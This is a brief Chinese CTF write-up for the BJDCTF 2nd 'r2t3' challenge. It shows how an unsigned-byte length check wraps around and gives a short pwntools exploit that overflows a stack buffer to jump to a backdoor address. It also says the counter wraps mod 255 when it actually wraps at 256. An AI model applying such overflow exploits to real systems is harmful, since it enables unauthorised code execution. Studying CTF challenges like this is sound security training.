做题遇到了,以后补一下先上个例题

BJDCTF 2nd r2t3

有一个长度的检查

image.png

这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255
所以可以传入一个总共是 0x105 的,这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测

dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
程序中提供了后门 0x804858B

image.png

exp

  1. from pwn import *
  2. p=process('pwn')
  3. payload='a'*0x15+p32(0x804858B)
  4. payload+='a'*(0x105-len(payload))
  5. p.sendline(payload)
  6. p.interactive()